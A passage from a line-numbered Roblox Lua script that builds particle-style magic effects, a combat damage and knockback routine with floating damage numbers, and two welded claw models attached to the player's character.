  2129. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2130. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2131. game:GetService("Debris"):AddItem(prt2,2)
  2132. coroutine.resume(coroutine.create(function(Part,Mesh)
  2133. for i=0,1,0.1 do
  2134. wait()
  2135. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2136. end
  2137. Part.Parent=nil
  2138. end),prt2,msh2)
  2139. end
  2140. for i=0,1,delay*2 do
  2141. wait()
  2142. Part.CFrame=Part.CFrame
  2143. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2144. end
  2145. Part.Parent=nil
  2146. end),prt,msh)
  2147. end
  2148.  
  2149. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2150. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2151. prt.Anchored=true
  2152. prt.CFrame=cframe
  2153. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2154. game:GetService("Debris"):AddItem(prt,2)
  2155. coroutine.resume(coroutine.create(function(Part,Mesh)
  2156. for i=0,1,delay do
  2157. wait()
  2158. Part.CFrame=Part.CFrame
  2159. Part.Transparency=i
  2160. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2161. end
  2162. Part.Parent=nil
  2163. end),prt,msh)
  2164. end
  2165.  
  2166. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2167. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2168. prt.Anchored=true
  2169. prt.CFrame=cframe*euler(x2,y2,z2)
  2170. --"http://www.roblox.com/asset/?id=168892465"
  2171. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2172. game:GetService("Debris"):AddItem(prt,2)
  2173. coroutine.resume(coroutine.create(function(Part,Mesh)
  2174. for i=0,1,0.03 do
  2175. wait()
  2176. Part.CFrame=Part.CFrame
  2177. Part.Transparency=i
  2178. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2179. end
  2180. Part.Parent=nil
  2181. end),prt,msh)
  2182. end
  2183.  
  2184. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2185. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2186. prt.Anchored=true
  2187. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2188. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2189. game:GetService("Debris"):AddItem(prt,2)
  2190. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2191. CF=Part.CFrame
  2192. Numbb=0
  2193. randnumb=math.random()/10
  2194. rand1=math.random()/10
  2195. for i=0,1,rand1 do
  2196. wait()
  2197. CF=CF*cf(0,math.random()/2,0)
  2198. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2199. Part.CFrame=CF*euler(Numbb,0,0)
  2200. Part.Transparency=i
  2201. Numbb=Numbb+randnumb
  2202. end
  2203. Part.Parent=nil
  2204. end),prt,CF,Numbb,randnumb)
  2205. end
  2206.  
  2207. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2208. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2209. prt.Anchored=true
  2210. prt.CFrame=cframe
  2211. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2212. game:GetService("Debris"):AddItem(prt,5)
  2213. coroutine.resume(coroutine.create(function(Part,Mesh)
  2214. for i=0,1,delay do
  2215. wait()
  2216. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2217. Part.Transparency=i
  2218. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2219. end
  2220. Part.Parent=nil
  2221. end),prt,msh)
  2222. end
  2223.  
  2224. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2225. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2226. prt.Anchored=true
  2227. prt.CFrame=cframe
  2228. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2229. game:GetService("Debris"):AddItem(prt,2)
  2230. coroutine.resume(coroutine.create(function(Part,Mesh)
  2231. for i=0,1,delay do
  2232. wait()
  2233. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2234. Part.Transparency=i
  2235. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2236. end
  2237. Part.Parent=nil
  2238. end),prt,msh)
  2239. end
  2240.  
  2241. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2242. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2243. prt.Anchored=true
  2244. prt.CFrame=cframe*cf(x,y,z)
  2245. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2246. game:GetService("Debris"):AddItem(prt,5)
  2247. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2248. local num=math.random()
  2249. local num2=math.random(-3,2)+math.random()
  2250. local numm=0
  2251. for i=0,1,delay*2 do
  2252. swait()
  2253. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2254. Part.Transparency=i
  2255. numm=numm+0.01
  2256. end
  2257. Part.Parent=nil
  2258. Mesh.Parent=nil
  2259. end),prt,msh,x,y,z)
  2260. end
  2261.  
  2262. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2263. if hit.Parent==nil then
  2264. return
  2265. end
  2266. h=hit.Parent:FindFirstChild("Humanoid")
  2267. for _,v in pairs(hit.Parent:children()) do
  2268. if v:IsA("Humanoid") then
  2269. h=v
  2270. end
  2271. end
  2272. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2273. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2274. end
  2275. if hit.Parent.className=="Hat" then
  2276. hit=hit.Parent.Parent:findFirstChild("Head")
  2277. end
  2278. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2279. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2280. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2281. return
  2282. end]]
  2283. -- hs(hit,1.2)
  2284. c=Instance.new("ObjectValue")
  2285. c.Name="creator"
  2286. c.Value=game:service("Players").LocalPlayer
  2287. c.Parent=h
  2288. game:GetService("Debris"):AddItem(c,.5)
  2289. Damage=math.random(minim,maxim)
  2290. -- h:TakeDamage(Damage)
  2291. blocked=false
  2292. block=hit.Parent:findFirstChild("Block")
  2293. if block~=nil then
  2294. print(block.className)
  2295. if block.className=="NumberValue" then
  2296. if block.Value>0 then
  2297. blocked=true
  2298. if decreaseblock==nil then
  2299. block.Value=block.Value-1
  2300. end
  2301. end
  2302. end
  2303. if block.className=="IntValue" then
  2304. if block.Value>0 then
  2305. blocked=true
  2306. if decreaseblock~=nil then
  2307. block.Value=block.Value-1
  2308. end
  2309. end
  2310. end
  2311. end
  2312. if blocked==false then
  2313. -- h:TakeDamage(Damage)
  2314. h.Health=h.Health-Damage
  2315. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2316. else
  2317. h.Health=h.Health-(Damage/2)
  2318. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2319. end
  2320. if Type=="Knockdown" then
  2321. hum=hit.Parent.Humanoid
  2322. hum.PlatformStand=true
  2323. coroutine.resume(coroutine.create(function(HHumanoid)
  2324. swait(1)
  2325. HHumanoid.PlatformStand=false
  2326. end),hum)
  2327. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2328. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2329. local bodvol=Instance.new("BodyVelocity")
  2330. bodvol.velocity=angle*knockback
  2331. bodvol.P=5000
  2332. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2333. bodvol.Parent=hit
  2334. rl=Instance.new("BodyAngularVelocity")
  2335. rl.P=3000
  2336. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2337. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2338. rl.Parent=hit
  2339. game:GetService("Debris"):AddItem(bodvol,.5)
  2340. game:GetService("Debris"):AddItem(rl,.5)
  2341. elseif Type=="Normal" then
  2342. vp=Instance.new("BodyVelocity")
  2343. vp.P=500
  2344. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2345. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2346. if KnockbackType==1 then
  2347. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2348. elseif KnockbackType==2 then
  2349. vp.velocity=Property.CFrame.lookVector*knockback
  2350. end
  2351. if knockback>0 then
  2352. vp.Parent=hit.Parent.Torso
  2353. end
  2354. game:GetService("Debris"):AddItem(vp,.5)
  2355. elseif Type=="Up" then
  2356. local bodyVelocity=Instance.new("BodyVelocity")
  2357. bodyVelocity.velocity=vt(0,10,0)
  2358. bodyVelocity.P=1000
  2359. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2360. bodyVelocity.Parent=hit
  2361. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2362. rl=Instance.new("BodyAngularVelocity")
  2363. rl.P=3000
  2364. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2365. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2366. rl.Parent=hit
  2367. game:GetService("Debris"):AddItem(rl,.5)
  2368. elseif Type=="Snare" then
  2369. bp=Instance.new("BodyPosition")
  2370. bp.P=2000
  2371. bp.D=100
  2372. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2373. bp.position=hit.Parent.Torso.Position
  2374. bp.Parent=hit.Parent.Torso
  2375. game:GetService("Debris"):AddItem(bp,1)
  2376. elseif Type=="Target" then
  2377. if Targetting==false then
  2378. ZTarget=hit.Parent.Torso
  2379. coroutine.resume(coroutine.create(function(Part)
  2380. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2381. swait(5)
  2382. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2383. end),ZTarget)
  2384. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2385. targetgui=Instance.new("BillboardGui")
  2386. targetgui.Parent=ZTarget
  2387. targetgui.Size=UDim2.new(10,100,10,100)
  2388. targ=Instance.new("ImageLabel")
  2389. targ.Parent=targetgui
  2390. targ.BackgroundTransparency=1
  2391. targ.Image="rbxassetid://4834067"
  2392. targ.Size=UDim2.new(1,0,1,0)
  2393. cam.CameraType="Scriptable"
  2394. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2395. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2396. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2397. Targetting=true
  2398. RocketTarget=ZTarget
  2399. for i=1,Property do
  2400. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2401. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2402. swait()
  2403. end
  2404. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2405. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2406. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2407. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2408. end
  2409. Targetting=false
  2410. RocketTarget=nil
  2411. targetgui.Parent=nil
  2412. cam.CameraType="Custom"
  2413. end
  2414. end
  2415. debounce=Instance.new("BoolValue")
  2416. debounce.Name="DebounceHit"
  2417. debounce.Parent=hit.Parent
  2418. debounce.Value=true
  2419. game:GetService("Debris"):AddItem(debounce,Delay)
  2420. c=Instance.new("ObjectValue")
  2421. c.Name="creator"
  2422. c.Value=Player
  2423. c.Parent=h
  2424. game:GetService("Debris"):AddItem(c,.5)
  2425. CRIT=false
  2426. hitDeb=true
  2427. AttackPos=6
  2428. end
  2429. end
  2430.  
  2431. showDamage=function(Char,Dealt,du,Color)
  2432. m=Instance.new("Model")
  2433. m.Name=tostring(Dealt)
  2434. h=Instance.new("Humanoid")
  2435. h.Health=0
  2436. h.MaxHealth=0
  2437. h.Parent=m
  2438. c=Instance.new("Part")
  2439. c.Transparency=0
  2440. c.BrickColor=TorsoColor
  2441. c.Name="Head"
  2442. c.TopSurface=0
  2443. c.BottomSurface=0
  2444. c.formFactor="Plate"
  2445. c.Size=Vector3.new(1,.4,1)
  2446. ms=Instance.new("CylinderMesh")
  2447. ms.Scale=Vector3.new(.8,.8,.8)
  2448. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2449. if CRIT==true then
  2450. ms.Scale=Vector3.new(1,1.25,1)
  2451. end
  2452. ms.Parent=c
  2453. c.Reflectance=0
  2454. Instance.new("BodyGyro").Parent=c
  2455. c.Parent=m
  2456. if Char:findFirstChild("Head")~=nil then
  2457. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2458. elseif Char.Parent:findFirstChild("Head")~=nil then
  2459. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2460. end
  2461. f=Instance.new("BodyPosition")
  2462. f.P=2000
  2463. f.D=100
  2464. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2465. f.position=c.Position+Vector3.new(0,3,0)
  2466. f.Parent=c
  2467. game:GetService("Debris"):AddItem(m,.5+du)
  2468. c.CanCollide=false
  2469. m.Parent=workspace
  2470. c.CanCollide=false
  2471. end
  2472.  
  2473. Player=game:GetService('Players').LocalPlayer
  2474. Character=Player.Character
  2475. Mouse=Player:GetMouse()
  2476. m=Instance.new('Model',Character)
  2477.  
  2478.  
  2479. local function weldBetween(a, b)
  2480. local weldd = Instance.new("ManualWeld")
  2481. weldd.Part0 = a
  2482. weldd.Part1 = b
  2483. weldd.C0 = CFrame.new()
  2484. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2485. weldd.Parent = a
  2486. return weldd
  2487. end
  2488.  
  2489. it=Instance.new
  2490.  
  2491. function nooutline(part)
  2492. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2493. end
  2494.  
  2495. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2496. local fp=it("Part")
  2497. fp.formFactor=formfactor
  2498. fp.Parent=parent
  2499. fp.Reflectance=reflectance
  2500. fp.Transparency=transparency
  2501. fp.CanCollide=false
  2502. fp.Locked=true
  2503. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2504. fp.Name=name
  2505. fp.Size=size
  2506. fp.Position=Character.Torso.Position
  2507. nooutline(fp)
  2508. fp.Material=material
  2509. fp:BreakJoints()
  2510. return fp
  2511. end
  2512.  
  2513. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2514. local mesh=it(Mesh)
  2515. mesh.Parent=part
  2516. if Mesh=="SpecialMesh" then
  2517. mesh.MeshType=meshtype
  2518. mesh.MeshId=meshid
  2519. end
  2520. mesh.Offset=offset
  2521. mesh.Scale=scale
  2522. return mesh
  2523. end
  2524.  
  2525. function weld(parent,part0,part1,c0,c1)
  2526. local weld=it("Weld")
  2527. weld.Parent=parent
  2528. weld.Part0=part0
  2529. weld.Part1=part1
  2530. weld.C0=c0
  2531. weld.C1=c1
  2532. return weld
  2533. end
  2534.  
  2535. local modelzorz=Instance.new("Model")
  2536. modelzorz.Parent=Character
  2537. modelzorz.Name="Claw1"
  2538.  
  2539. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2540. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2541. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2542. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2543. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2544. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2545. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2546. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2547. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2548. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2549. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2550. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2551. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2552. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2553. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2554. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2555. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2556. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2557. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2558. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2559. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2560. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2561. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2562. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2563. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2564. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2565. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2566. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2567. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2568. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2569. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2570. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2571. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2572. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2573. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2574. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2575. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2576. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2577. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2578. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2579. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2580.  
  2581. local modelzorz2=Instance.new("Model")
  2582. modelzorz2.Parent=Character
  2583. modelzorz2.Name="Claw2"
  2584.  
  2585. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2586. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2587. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2588. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2589. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2590. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2591. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2592. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2593. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2594. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2595. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2596. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2597. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2598. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2599. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2600. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"White","Part",Vector3.new(2.20000005, 1, 1))
  2601. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
